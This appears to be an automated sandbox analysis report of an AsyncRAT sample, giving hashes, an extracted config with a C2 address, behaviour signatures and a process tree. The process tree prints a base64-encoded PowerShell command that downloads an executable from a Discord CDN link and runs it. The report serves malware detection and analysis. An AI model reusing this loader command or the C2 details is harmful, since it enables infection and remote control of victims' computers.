Analysis

  • max time kernel
    200s
  • max time network
    207s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-12-2022 06:57

General

  • Target

    DFDS4.exe

  • Size

    6KB

  • MD5

    aacae33f1697d56d6ebbe91f49426380

  • SHA1

    043d947a5ba9db57da8804ee1b3db6411c36a317

  • SHA256

    e03373744068eb32bc09755df8ff0f111f93a47d94a9cca7513adac83a92d081

  • SHA512

    a150a3f35b00e7553d5aabb6e524cd0770d10714cd255665f4355f9922b91d400d2d2c0c276b18dba2bd999da210a4538754da9f38b819d2a2b3c947a75f6c20

  • SSDEEP

    192:3m1I9XX1FrDl2ND2tLNtUq256XvW4NRcWedV:KI9Xl32NKNt/jvW4NRcW2V

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

System Guard Runtime

C2

85.105.88.221:2531

Mutex

System Guard Runtime

Attributes
  • delay

    3

  • install

    false

  • install_file

    System Guard Runtime

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\DFDS4.exe
    "C:\Users\Admin\AppData\Local\Temp\DFDS4.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1440
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZABrACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANAA5ADQAMQAwADIAMQA3ADQAMgAwADUAMwAzADgAMgAwAC8AMQAwADQAOQA0ADEANwA1ADAAMQAyADIAMwA2ADkAMAAzADQAMQAvAHAAbABsAG0AbQBkAGkAaQBwAG0ALgBlAHgAZQAnACwAIAA8ACMAeABjAGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwByAGoAawAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBsAGYAegAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBKAEQAUwBHADMALgBlAHgAZQAnACkAKQA8ACMAZwByAHkAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZgB1AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHcAcABiACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEoARABTAEcAMwAuAGUAeABlACcAKQA8ACMAdwBrAGsAIwA+AA=="
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2156
      • C:\Users\Admin\AppData\Roaming\JDSG3.exe
        "C:\Users\Admin\AppData\Roaming\JDSG3.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4056
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
            PID:1556

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\JDSG3.exe
      Filesize

      14.7MB

      MD5

      2cbd5d9d43c5c49f0580975e9e620808

      SHA1

      17e209b6d6c66882ed78a40d7e0d211760b489a0

      SHA256

      399a0e77326dc484fa92fd5f95f2dbd89866dfd4e7e80661634a9a83f0652403

      SHA512

      26e06d3d3b4f8d1198f483e2485ee107782c7f5b70ddb4d48dd84c9ef81029af316ad3a184c90921c6f1188f92d88b9fd6a152eaba5648a03bfbdea589202812

    • C:\Users\Admin\AppData\Roaming\JDSG3.exe
      Filesize

      14.7MB

      MD5

      2cbd5d9d43c5c49f0580975e9e620808

      SHA1

      17e209b6d6c66882ed78a40d7e0d211760b489a0

      SHA256

      399a0e77326dc484fa92fd5f95f2dbd89866dfd4e7e80661634a9a83f0652403

      SHA512

      26e06d3d3b4f8d1198f483e2485ee107782c7f5b70ddb4d48dd84c9ef81029af316ad3a184c90921c6f1188f92d88b9fd6a152eaba5648a03bfbdea589202812

    • memory/1440-134-0x00007FFD9DA60000-0x00007FFD9E521000-memory.dmp
      Filesize

      10.8MB

    • memory/1440-132-0x0000000000070000-0x0000000000078000-memory.dmp
      Filesize

      32KB

    • memory/1440-137-0x00007FFD9DA60000-0x00007FFD9E521000-memory.dmp
      Filesize

      10.8MB

    • memory/1556-148-0x0000000000400000-0x0000000000412000-memory.dmp
      Filesize

      72KB

    • memory/1556-147-0x0000000000000000-mapping.dmp
    • memory/2156-136-0x00007FFD9DA60000-0x00007FFD9E521000-memory.dmp
      Filesize

      10.8MB

    • memory/2156-141-0x00007FFD9DA60000-0x00007FFD9E521000-memory.dmp
      Filesize

      10.8MB

    • memory/2156-138-0x00007FFD9DA60000-0x00007FFD9E521000-memory.dmp
      Filesize

      10.8MB

    • memory/2156-135-0x0000011EEA750000-0x0000011EEA772000-memory.dmp
      Filesize

      136KB

    • memory/2156-133-0x0000000000000000-mapping.dmp
    • memory/4056-139-0x0000000000000000-mapping.dmp
    • memory/4056-143-0x00000000005D0000-0x0000000001480000-memory.dmp
      Filesize

      14.7MB

    • memory/4056-144-0x00000000067D0000-0x0000000006D74000-memory.dmp
      Filesize

      5.6MB

    • memory/4056-145-0x00000000062D0000-0x0000000006362000-memory.dmp
      Filesize

      584KB

    • memory/4056-146-0x0000000006420000-0x00000000064BC000-memory.dmp
      Filesize

      624KB